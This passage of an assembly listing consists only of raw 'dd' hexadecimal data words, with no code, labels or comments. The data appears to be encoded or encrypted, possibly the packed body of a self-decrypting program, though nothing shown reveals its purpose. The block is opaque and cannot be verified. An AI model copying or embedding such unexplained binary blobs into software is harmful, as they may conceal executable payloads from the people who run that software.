		dd 0B887EA9Fh, 5341267h, 430806E3h, 0ABE2EA60h,	1CD44BE3h
		dd 0C5B7D360h, 934127Ah, 154B5C0Eh, 0B887EAAEh,	5341267h
		dd 430806E3h, 0ABE2EA60h, 1CD473E3h, 0C5B7D360h, 934127Ah
		dd 0D57F9C0Eh, 0B887EABAh, 5341267h, 430806E3h,	0ABE2EA60h
		dd 1CD477E3h, 0C5B7D360h, 1134127Ah, 391F220Eh,	0B887EAFAh
		dd 5341267h, 430806E3h,	0ABE2EA60h, 1CD47FE3h, 0C5B7D360h
		dd 734127Ah, 0F7C23F0Eh, 0B887EAB4h, 5341267h, 430806E3h
		dd 0ABE2EA60h, 1CD47BE3h, 0C5B7D360h, 1634127Ah, 6086FF0Eh
		dd 0B887EA9Bh, 5341267h, 430806E3h, 0ABE2EA60h,	1612FCE3h
		dd 0C5B7D360h, 334127Ah, 0BA6B8C0Eh, 0B887EA84h, 5341267h
		dd 430806E3h, 0ABE2EA60h, 1CD467E3h, 0C5B7D360h, 334127Ah
		dd 0DF52D70Eh, 0B887EAD7h, 5341267h, 430806E3h,	0ABE2EA60h
		dd 1CD463E3h, 0C5B7D360h, 334127Ah, 84CC010Eh, 0B887EAB9h
		dd 5341267h, 430806E3h
		dd 0ABE2EA60h, 1CD46FE3h, 0C5B7D360h, 1B34127Ah, 72C07D0Eh
		dd 0B887EAF8h, 5341267h, 430806E3h, 0ABE2EA60h,	1CD46BE3h
		dd 0C5B7D360h, 0B34127Ah, 0DE492A0Eh, 0B887EAA1h, 5341267h
		dd 430806E3h, 0ABE2EA60h, 1CD4BFE3h, 0C5B7D360h, 334127Ah
		dd 795C590Eh, 0B887EA9Ch, 5341267h, 430806E3h, 0ABE2EA60h
		dd 1CD4BBE3h, 0C5B7D360h, 334127Ah, 2416D80Eh, 0B887EAA5h
		dd 5341267h, 430806E3h,	0ABE2EA60h, 1CD4A7E3h, 0C5B7D360h
		dd 1B34127Ah, 9952D90Eh, 0B887EAB2h, 5341267h, 430806E3h
		dd 0ABE2EA60h, 1CD497E3h, 0C5B7D360h, 1B34127Ah, 0CB665B0Eh
		dd 0B887EAF8h, 5341267h, 430806E3h, 0ABE2EA60h,	1CD493E3h
		dd 0C5B7D360h, 1B34127Ah, 311A5D0Eh, 0B887EAB7h, 5341267h
		dd 430806E3h, 0ABE2EA60h, 1CD49FE3h, 0E0367F60h, 44320566h
		dd 2222150Eh, 0EE327F66h, 8F2970F3h, 0B9B79C60h, 0AF341269h
		dd 1CE712E3h, 0E2E2EA60h, 54327D62h, 225A1566h,	7B321546h
		dd 0EDA7EA66h, 0CD34127Dh, 253D60E3h, 0A0B79C60h, 0E2341266h
		dd 54327D26h, 225A1566h, 7B321466h, 0EDA7EA66h,	0CD34127Dh
		dd 251F18E3h, 0B4879E60h, 3341243h, 433004FBh, 33879C60h
		dd 9834124Ch, 8F2B0CFBh, 55AF9E60h, 0A9341264h,	11CB966Dh
		dd 82ED9169h, 15621566h, 0ABF22606h, 162AB8E3h,	880EAB60h
		dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h
		dd 9FBB0D18h, 173533CFh, 0D3DEAE3h, 4432156Ch, 22231B8Eh
		dd 11A3FC66h, 3631566h,	40E07EB1h, 370380EFh, 15581361h
		dd 8822150Eh, 44584766h, 39578099h, 94BB1361h, 8E35340Bh
		dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h
		dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 0B98F9EB1h,	0A1341269h
		dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh
		dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 8F2AB8E3h
		dd 0E9A79E60h, 1B34127Eh, 1614BCF3h, 82B61A60h,	1E321566h
		dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 24350A23h
		dd 11321566h, 967790A1h, 44321361h, 9FB11566h, 173FF094h
		dd 80B61A66h, 0C9321566h, 2F7A7EFBh, 0EEE1EA60h, 8F3648E3h
		dd 198F9660h, 46341262h, 11509769h, 0DF51566h, 4235113Bh
		dd 22321567h, 0DB879806h, 5341880h, 4A3120DBh, 0A9CC3E60h
		dd 0EC8F9EB1h, 0B341269h, 8401EAAFh, 0E30013ECh, 96369E20h
		dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 9697905Fh
		dd 0C03D1361h, 22321571h, 238BA8E5h, 87321361h,	44321FE3h
		dd 0DBB7D266h, 1034127Eh, 0E9321566h, 162558DFh, 8B9BAF70h
		dd 989F2200h, 8F1804D3h, 0B874D260h, 22321566h,	0FFDCFB5Bh
		dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h
		dd 44321560h, 26F49666h, 3B23A0EFh, 71DB1361h, 0CF32156Eh
		dd 0DBB726BEh, 0D034127Eh, 4A1916AEh, 7722D5A7h, 0DBAF9CA7h
		dd 2C34127Eh, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh
		dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 8F1804D3h
		dd 55AF9E60h, 0A9341264h, 71E29E6Dh, 0D19D7EDh,	42353CD3h
		dd 2130F5A7h, 1628C0E3h, 8B9F8360h, 60769CA7h, 5EDB747Ah
		dd 40321566h, 3FB2634h,	431378F3h, 2D302E60h, 11322DE2h
		dd 8CF09666h, 0EDBF2E27h, 2D341240h, 0EECDFDE3h, 27879899h
		dd 0C9341883h, 251538DBh, 0D1B6B960h, 88349169h, 0AD981566h
		dd 0DDCDEA97h, 113215DEh, 3CBF9866h, 0BB34122Bh, 8FBF9C87h
		dd 4B34127Eh, 15B9433Fh, 42351777h, 0A7B91EEDh,	17350DCBh
		dd 0D31F5B7h, 4235144Bh, 44A4E355h, 13D2D4CBh, 92E79065h
		dd 0E9A41361h, 0A16CD465h, 1618E8DBh, 0C3D1460h, 4432155Fh
		dd 239B985Dh, 953D1361h, 8832154Bh, 528F985Dh, 0A63D1361h
		dd 11321547h, 9DBB985Dh, 0C03D1361h, 22321573h,	0EA3F88EBh
		dd 5BCD136Bh, 0C1BBEDEDh, 24353E4Fh, 1134A18Fh,	85AF9866h
		dd 0BB34189Dh, 0DF8F96B5h, 1134124Ch, 882F9169h, 0C1091566h
		dd 243516DFh, 113E9169h, 0D091566h, 4235258Fh, 22379069h
		dd 0A8DB1566h, 0B3CDEA99h, 431308E3h, 3AB71A60h, 92321566h
		dd 8F2B80DBh, 0C13D1560h, 2232156Dh, 0A83990EBh, 1DDB136Bh
		dd 7FCDEA99h, 251308E3h, 98B61A60h, 0BCDEA99h, 49D7BEDBh
		dd 0A73D1460h, 11321571h, 6E38905Dh, 0C13D136Bh, 2232156Dh
		dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 438F9699h, 11341273h
		dd 8B559169h, 0C1091566h, 243FF090h, 94B91213h,	8E350A8Bh
		dd 0BAB72E21h, 57341883h, 0A4B79E61h, 0CF34124Ch, 0A1C8905Dh
		dd 2547136Bh, 0D7790EDh, 0B3751361h, 49D417E3h,	0A9356060h
		dd 163B20E3h, 0D095260h, 423FF360h, 0A7B91213h,	173513FBh
		dd 82B72E21h, 31341880h, 33B79E61h, 5634127Ch, 6E3C905Dh
		dd 4347136Bh, 27AB90EDh, 2A751361h, 85D407E3h, 0CF356060h
		dd 253204E3h, 94095260h, 8E3FF370h, 0C1B91213h,	2435024Fh
		dd 0BB72E21h, 0FD341880h, 1DB79E61h, 65341278h,	0F710905Dh
		dd 8F47136Bh, 685F90EDh, 19751361h, 1CD40BE3h, 0B226060h
		dd 432CACDBh, 25471560h, 30BF90EDh, 0B751361h, 431484DBh
		dd 2D461560h, 0F798905Dh, 8F47136Bh, 5FAB90EDh,	0A1751361h
		dd 161174DBh, 0FA461560h, 5283A8E5h, 56321361h,	9FB72E0Fh
		dd 0FD341880h, 69B79E61h, 6534127Ah, 0F7AC905Dh, 8F47136Bh
		dd 51D790EDh, 19751361h, 1CD487E3h, 3356060h, 432F10E3h
		dd 0A7095260h, 173FF3C4h, 0DB91213h, 42350983h,	84B72E21h
		dd 64341880h, 3DB79E61h, 334124Bh, 0C4A4905Dh, 1647136Bh
		dd 816790EDh, 7F751361h, 2FD48FE3h, 9A356060h, 8F1CF4E3h
		dd 0F9B15260h, 243503D7h, 1BB61A66h, 0B3321564h, 49D433E3h
		dd 0A9356060h, 161164E3h, 0D095260h, 423FF3DCh,	0A7B91213h
		dd 17350827h, 0A2B72E21h, 31341880h, 0E7B79E61h, 56341269h
		dd 6E1C905Dh, 4347136Bh, 12CB90EDh, 2A751361h, 85D427E3h
		dd 0CF356060h, 25240CE3h, 94095260h, 8E3FF350h,	0F9B10513h
		dd 24350BDFh, 9A356066h, 8F3918E3h, 0C1095260h,	243FF35Ch
		dd 94B91213h, 8E3536B7h, 7AB72E21h, 57341880h, 0A88F9676h
		dd 88341278h, 0C1B91213h, 2435099Bh, 53B72E21h,	0FD341880h
		dd 0E9B79E61h, 65341263h, 0F774905Dh, 8F47136Bh, 625F90EDh
		dd 19751361h, 1CD45BE3h, 0B226060h, 432CACDBh, 25471560h
		dd 12EF90EDh, 0B3751361h, 49D45FE3h, 0A1226060h, 162CACDBh
		dd 8F471560h, 5A0790EDh, 19751361h, 1CD447E3h, 3356060h
		dd 432440E3h, 0A7095260h, 173FF330h, 0DB91213h,	42353AFBh
		dd 78B72E21h, 64341880h, 0F1B79E61h, 334127Ah, 0C46C905Dh
		dd 1647136Bh, 92AF90EDh, 7F751361h, 2FD477E3h, 9A356060h
		dd 8F3E04E3h, 0C1095260h, 243FF300h, 94B91213h,	8E350873h
		dd 2EB72E21h, 57341880h, 84B79E61h, 0CF341260h,	0A25C905Dh
		dd 2547136Bh, 3EC390EDh, 0B3751361h, 4312FCE3h,	0A9356060h
		dd 163B34E3h, 0D095260h, 423FF314h, 0A7B91213h,	17351597h
		dd 26B72E21h, 31341880h, 948F967Fh, 11341880h, 35B11C13h
		dd 42353F9Bh, 0A9356166h, 1622A4E3h, 0D095260h,	423FF3D4h
		dd 9FB10C13h, 173FF3D0h, 0B3B6066h, 4318E8DBh, 25461560h
		dd 1BB90EDh, 0B3751361h, 49D463E3h, 0A9356060h,	162A44E3h
		dd 0D095260h, 423FF31Ch
		dd 0A7B91213h, 1735111Fh, 0F6B72E21h, 31341880h, 0BB79E61h
		dd 56341278h, 6EB0905Dh, 4347136Bh, 201790EDh, 2A751361h
		dd 85D493E3h, 0CF356060h, 251840E3h, 94095260h,	8E3FF3ECh
		dd 0C1B91213h, 24353617h, 1ECD1E21h, 883210E2h,	0BFD8FC66h
		dd 0A709EA99h, 1735371Fh, 88399069h, 0C1BF1566h, 243F887Bh
		dd 0EEC9C68Fh, 91B72E99h, 4B341249h, 22320DE3h,	0BA8F9666h
		dd 89341883h, 44399069h, 0A7BF1566h, 116AF345h,	77C9BA8Fh
		dd 0A2B72E99h, 2D341883h, 113219E2h, 62B72E66h,	4B341883h
		dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h
		dd 11321523h, 6DE8905Dh, 0C13D136Bh, 2232156Dh,	73D690EBh
		dd 0E5DB153Eh, 7FCDEA9Dh, 2FD7CBE3h, 1AB71A60h,	5321566h
		dd 1C514FE3h, 0D964FC66h, 9409EA99h, 8E3FF084h,	44399069h
		dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h
		dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 1635C0D3h
		dd 0B1879C60h, 0C4341255h, 0A73DFC58h, 11321540h, 8B336BEDh
		dd 0C5EC9E98h, 227215A5h, 0C48F2E66h, 87341261h, 44321DE4h
		dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h,	24351A13h
		dd 15FF90A1h, 88321361h, 0CD521566h, 25012CD3h,	0FFAF9860h
		dd 77341B66h, 66B01AB5h, 0AF321566h, 1D9B87FBh,	87E1EA60h
		dd 0BBCDCBE5h, 1B879E99h, 98341255h, 8F36D8D3h,	57AF9860h
		dd 0DD34182Eh, 0C4B79EB5h, 1341261h, 43012CE3h,	0BFBF7460h
		dd 173FE831h, 15BFC699h, 423C1559h, 0A13DC699h,	1132156Ah
		dd 0BB0B90E5h, 0AD371361h, 0DDCDEAB8h, 115A88EBh, 5BCD1368h
		dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h,	423EBCF4h
		dd 0A13DC699h, 1132156Dh, 0BB0BA0EDh, 0C4DB1361h, 0A9321561h
		dd 16012CEBh, 0B1879C60h, 6F341255h, 9EBE2A8h, 0F896E697h
		dd 77CDEAF0h, 0C5988EBh, 0F1CD136Bh, 9419D2EDh,	8E351A13h
		dd 454790EFh, 0A7B91361h, 17351A13h, 5BF4531h, 423F5D86h
		dd 0A7B9C499h, 1735386Bh, 0DB94236h, 42351A13h,	2DBF9836h
		dd 0EE34182Fh, 3E29EB7h, 49BF3EAEh, 0A134124Bh,	16281CDBh
		dd 0C3D1560h, 4432154Dh, 221390EDh, 94191361h, 8E350F6Fh
		dd 0C23DD45Dh, 22321571h, 1F790EDh, 0D311361h, 42350F6Fh
		dd 91B90EFh, 52DB1361h,	0D9321566h, 497AD4EDh, 22321A99h
		dd 30B79C26h, 89341266h, 433DA0E3h, 2BB7D260h, 1134127Ch
		dd 0E2321566h, 54327D26h, 48631566h, 74A7EA66h,	7734127Dh
		dd 4312C4F3h, 0E7B79C60h, 98341276h, 8F193CE3h,	0F1CD4C60h
		dd 24353E4Fh, 3C3FA099h, 77651361h, 433D60D3h, 83B79860h
		dd 0EE34182Bh, 81BF14B6h, 0CF34127Ch, 25193CDBh, 1C879E60h
		dd 7B34124Bh, 55879EC2h, 8F34124Ch, 11CE53A1h, 49321566h
		dd 93710A6h, 21244771h,	163DD8E3h, 0A1BF9E60h, 0CD34124Dh
		dd 64F5B86Eh, 1132159Ah, 99879C66h, 0C734124Ch,	0A73DEA9Eh
		dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h,	113213A1h
		dd 4EB11566h, 55879C62h, 0CB34124Ch, 0EECDE380h, 8B31D5A7h
		dd 433DD8E3h, 0C78F9660h, 10341279h, 88AF9169h,	7AB31566h
		dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h,	22321566h
		dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 8CFA8E5h, 1E331361h
		dd 88322BE2h, 4532AD66h, 9FB11566h, 173FF094h, 80B61A66h
		dd 0C9321566h, 2F62F7FBh, 91E1EA60h, 0C3D8559h,	4432156Eh
		dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h,	88A2A566h
		dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h
		dd 85D7E7DBh, 0C03D1560h, 2232156Eh, 418088EBh,	5BCD136Bh
		dd 0CF3652EEh, 25193CE3h, 92F53E60h, 2599118Eh,	44CE53A1h
		dd 0CB321566h, 0EECDEA77h, 0A223A0EFh, 2C601361h, 22329566h
		dd 0A4CD150Ch, 8E35340Bh, 51278099h, 0A9681361h, 163004EBh
		dd 8833D260h, 0C7321566h, 0AFBB11A7h, 17351777h, 77C7058Fh
		dd 4296FC99h, 0A9521566h, 163004EBh, 13B9E60h, 49D7FBEBh
		dd 6C0A9460h, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h
		dd 113205E3h, 0BC29E66h, 0C1B913A0h, 24353A17h,	1133138Fh
		dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh,	0C3D385Ah
		dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h
		dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah
		dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh
		dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h
		dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 85879866h
		dd 0A9341243h, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh
		dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 243530A7h, 0C7B90EDh
		dd 48B71361h, 44289069h, 0A7F41566h, 1735092Bh,	2FE07D21h
		dd 0F1CDC1FCh, 2435078Bh, 6DCC90EBh, 58CD136Ch,	0C1E2EA34h
		dd 1AB71AA6h, 9A321566h, 8F33E0E3h, 4BF29060h, 22320FE3h
		dd 5CB7D366h, 0C434127Ah, 9E2EFC0Eh, 0CF87EABFh, 9C341274h
		dd 824EEBE3h, 16E2EA60h, 0E2B7C599h, 11379069h,	0A9DB1566h
		dd 0CD321566h, 2FD7FBE3h, 9C644560h, 824594E3h,	4FE2EA60h
		dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh,	0A952D607h
		dd 1CD7FBEBh, 49B94560h, 0CF0E5565h, 22329DF6h,	60A79C66h
		dd 8D34126Dh, 4432159Eh, 0AB3E45EDh, 1637FCF3h,	0CCB94D60h
		dd 85193142h, 27DB905Dh, 933D1361h, 88321576h, 4F43905Dh
		dd 0A13D1361h, 11321562h, 8836D707h, 6036D207h,	22321566h
		dd 151651A1h, 88321566h, 443210DEh, 96BF9866h, 0EE34122Bh
		dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah,	88321524h
		dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h,	0C03DFE5Ah
		dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h
		dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h,	0EAC99667h
		dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h
		dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h
		dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h,	0A89ED555h
		dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h,	113230E2h
		dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h
		dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h,	0C1F5D638h
		dd 243FF3D8h, 11321560h, 6BB20BECh, 0C4C99596h,	0DDD19069h
		dd 9A7CEA99h, 8F35C0E3h, 89A79E60h, 0A9341262h,	17F196B8h
		dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h
		dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh
		dd 110BA0EFh, 4A6D1361h, 4CB14B3Fh, 0BE52FC62h,	0A7F5EA99h
		dd 173FF3D8h, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h
		dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h,	8832EA87h
		dd 0CFEB3E66h, 2535C0E3h, 0DCA79E60h, 0B341262h, 432D50DBh
		dd 0A63D1460h, 113215C5h, 0A3DCD5Dh, 443215FDh,	0A03DCF5Dh
		dd 0EECDEA27h, 88329B8Fh, 0FAB7D266h, 20341880h, 9A321566h
		dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh
		dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 423512B3h
		dd 26FF80EDh, 0ACB11361h, 8E350A23h, 0CB61A67h,	19321566h
		dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h
		dd 8B2A568h, 85381A87h
		dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 43012CD3h,	67B7D260h
		dd 10341279h, 0B321566h, 1D6911A2h, 0A136D1E5h,	66DB11A2h
		dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h
		dd 40F69638h, 0DDCBD28Fh, 0AFB7D299h, 8D341880h, 0CF321566h
		dd 26F196B8h, 94B90B65h, 8E3512B3h, 40FF80EDh, 0A17C1361h
		dd 162C50DBh, 0C3D1460h, 44321465h, 0A03DCD5Dh,	1132156Eh
		dd 0E3DCF5Dh, 4432154Dh, 110BA0EFh, 8CB91361h, 8E3FF3D8h
		dd 48164967h, 2232CB8Fh, 94F54A66h, 8E350B23h, 44321567h
		dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 432D50DBh, 0A63D1460h
		dd 113215DDh, 8FE7884Dh, 0C9B91361h, 24351A13h,	0DE19DE65h
		dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h
		dd 0C1F5EA99h, 243FF3D8h, 11321564h, 3E3DCBEDh,	0C4CB9568h
		dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h
		dd 1132EA87h, 3EB3E66h,	4335C0E3h, 0EFA79E60h, 0F8341262h
		dd 77CDEA20h, 0A28C90A1h, 2230136Bh, 0CFB91566h, 83CA369h
		dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h
		dd 0DDD394BFh, 3A321566h, 5DB79EBFh, 0CF341261h, 2536D8F3h
		dd 548F9660h, 89341279h, 0BAFB9169h, 0FA09EA99h, 113A9769h
		dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh
		dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h
		dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h,	0C9B1CA4Dh
		dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h,	113255E2h
		dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h
		dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh
		dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h
		dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h,	1EDB1566h
		dd 31321566h, 44321560h, 2232108Fh, 1135AC66h, 2CC11566h
		dd 40FF98EDh, 0EBB71361h, 11349069h, 3DBB1566h,	423511ABh
		dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h,	0A2C2F6E6h
		dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h,	953DFE5Ah
		dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah,	88321551h
		dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h,	0A70E1566h
		dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh
		dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h,	1636D8D3h
		dd 9BAF9860h, 0BB34182Eh, 72F1ECB5h, 982253EDh,	8F1BA0E3h
		dd 82B14D60h, 0F78F987Ah, 0BC34127Ch, 0AC165165h, 0B58F98CDh
		dd 8F341240h, 35165165h, 35BFBE36h, 4235144Bh, 67616CBh
		dd 0D26CBE4Eh, 64AF9830h, 0BB341821h, 0FF95FCB5h, 0CEDFFFFFh
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 48322EC0h, 0A8ED96A4h
		dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h,	798A152Ah
		dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
		dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
		dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 4387A65Ah, 1332DCF1h
		dd 0BA8C189Eh, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
		dd 591BD138h, 0DF07462Ch, 52A5E5E5h, 3C6D5h, 5492B85Eh
		dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0E17ABC2Fh
		dd 3C52505Ah, 0BC760811h, 0B977DDD3h, 0F4B95163h, 0B575DF79h
		dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh
		dd 83354A98h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h,	5E17FB23h
		dd 25FB776Ch, 0FDF53FD5h, 78326CADh, 0B7342291h, 23AC7ACFh
		dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 73F0AAF0h, 0BB60FFA0h
		dd 0C87D7C22h, 0F305E983h, 8DDB8BA4h, 0DE6CABDh, 0B18D8D06h
		dd 0B8060E01h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h
		dd 0F2850F49h, 8BFFFFFFh, 1BD83C0h, 60731h, 0BD830975h
		dd 6070A55h, 50197400h,	0B8C08B53h, 411h, 217D8589h, 9D8D0607h
		dd 609B459h, 585BD3FFh,	0A55BD83h, 74000607h, 0B8535017h
		dd 411h, 217D8589h, 9D8D0607h, 609B0FAh, 585BD3FFh, 0F2BBC08Bh
		dd 0EB4672A4h, 8, 4CD50D00h, 4CFE919h, 43680000h, 0E9060E04h
		dd 0FFF97A26h, 0E04D168h, 7A1CE906h, 4968FFF9h,	0E9060E06h
		dd 0FFF97A12h, 5EA6E2C5h, 97FFA183h, 244C1A7Ah,	7C84C829h
		dd 88D084E1h, 95F6ED69h, 4FAAA7CFh, 21CF119h, 0F1D10C54h
		dd 28CC43ABh, 3C877CFh,	0F5AF3703h, 0EC6A3C14h,	0E572E8B8h
		dd 0FD7B2D04h, 2B0419C9h, 6D4AA77Dh, 0D5753127h, 6FE0C653h
		dd 0F31B4315h, 0A07A3B29h, 81D7330Eh, 73E5B38Ch, 5F909333h
		dd 0BF0F34E9h, 637CDD77h, 0C383C335h, 0EA50EA65h, 418030Ah
		dd 8BEAA9B0h, 19B1B5E1h, 0B7000003h, 90F69969h,	79339405h
		dd 0F43C8233h, 49A0DD5Eh, 0F2500F34h, 0A71BD01h, 8DB5FD03h
		dd 1FC0F168h, 20267E91h, 855ED973h, 35F45615h, 0F63023CBh
		dd 0B268EDDBh, 6866FD41h, 4D75BDF8h, 4A6B79CBh,	3C2CA790h
		dd 7848F251h, 21774FA2h, 782E04D9h, 0BE2256E1h,	0C5989E0Dh
		dd 32Ah, 0B2DA8EE1h, 0CB13455Fh, 18603616h, 50B8ECC5h
		dd 0ECF4A0BDh, 0B192114Dh, 63469BE3h, 0DE38D53Dh, 95ED6088h
		dd 4CE8A7CFh, 3CF4BF3h,	219B0B03h, 6C267F95h, 7FC730CAh
		dd 3F050DCBh, 0CBB204F7h, 0C2F2050Dh, 8FFF7802h, 3F0F3FC6h
		dd 0E3FC5DF7h, 0FF881573h, 1B4FB1E7h, 0E8F03849h, 5DDE1875h
		dd 303E4D9h, 0F3A999h, 303E4BEh, 888EB6FEh, 0F34BB44Eh
		dd 0B30303E4h, 0D960C383h, 40303E4h, 60E1782Eh,	840F2EE9h
		dd 29CEF8Eh, 1C730000h,	0CB29244Ch, 84E07D85h, 7E578AD2h
		dd 320FC22Ah, 83FF1E66h, 9510760h, 43ABFDD4h, 9EE6AC8Eh
		dd 0D53D6343h, 0D95DDE7Ah, 990303CFh, 7F95B309h, 0E3936C26h
		dd 750F3FC6h, 0C8DE60D3h, 969E0303h, 603A0AF6h,	7EF8AC89h
		dd 46909636h, 370D88EBh, 8A693961h, 303C830h, 89906478h
		dd 0B5E86ACAh, 1C751h, 44A29700h, 89E5441Eh, 79295DDBh
		dd 5E0462FFh, 79FA9C36h, 50DCBC5h, 27EDBD85h, 1D43A121h
		dd 7F3C3FD5h, 3F0F3498h, 2C8E01F7h, 64030AFAh, 0BE858C60h
		dd 45B5E198h, 37h, 267F9583h, 0C1DA936Ch, 0A3A0F34h, 0C12F930Ch
		dd 6367030Ah, 231CB689h, 30AC19Bh, 1276EBDBh, 0CA9ACA4Ch
		dd 0E1754300h, 57B28FB5h, 65ADFBD4h, 0FF5AA5h, 0E59E0000h
		dd 0A9792F04h, 2E287E54h, 0A79056B3h, 50DCB1Fh,	7FC8915Fh
		dd 8903C65Dh, 26F7DF41h, 0B5D1AAAAh, 280E8B8Dh,	942A862h
		dd 93BCE04Fh, 9405E3A3h, 5380E8BEh, 50D8B8Dh, 46C3210h
		dd 0DE59E8FEh, 50D8058h, 0C2341879h, 9EC6EE82h,	6DD122C4h
		dd 2D050D80h, 0E5BF4505h, 804EF043h, 260E050Dh,	9086CA2Bh
		dd 683734D4h, 940F3253h, 50B3C96Ah, 8CB48CABh, 0C4DD3CD6h
		dd 106DF090h, 0E4A08E44h, 0E3A98EF7h, 0C8CF3175h, 9FF7973Ah
		dd 82E66142h, 96BD94DCh, 0A6031719h, 124CDA0h, 84EB0000h
		dd 43A1BCC4h, 3C18F51Dh, 0F6CF026Ah, 0AA875AA2h, 0B4796FEh
		dd 81E9BF98h, 0DB23754Ch, 167E2406h, 0ADB59BFBh, 51E556F2h
		dd 110303CDh, 4E52B81h,	351AD2Eh, 34295DDBh, 0D88C8ADCh
		dd 59D83508h, 62221478h, 919A603Ah, 82F708BEh, 8D408858h
		dd 0D87EFB5h, 0BB70C63Fh, 0E7A76AB8h, 1E44A27Dh, 0F359B918h
		dd 520341EBh, 1E42A1B8h, 2C12B44Eh
		dd 1963859Eh, 0E35BA422h, 0A3050D83h, 0B8BB6B93h, 0F34F556h
		dd 3514CEF6h, 0C58177DDh, 81E27F05h, 453339D3h,	4FF2DCC6h
		dd 0C690EC61h, 0AD0DCE06h, 8C030A7Ch, 4598E0B6h, 0C58BE968h
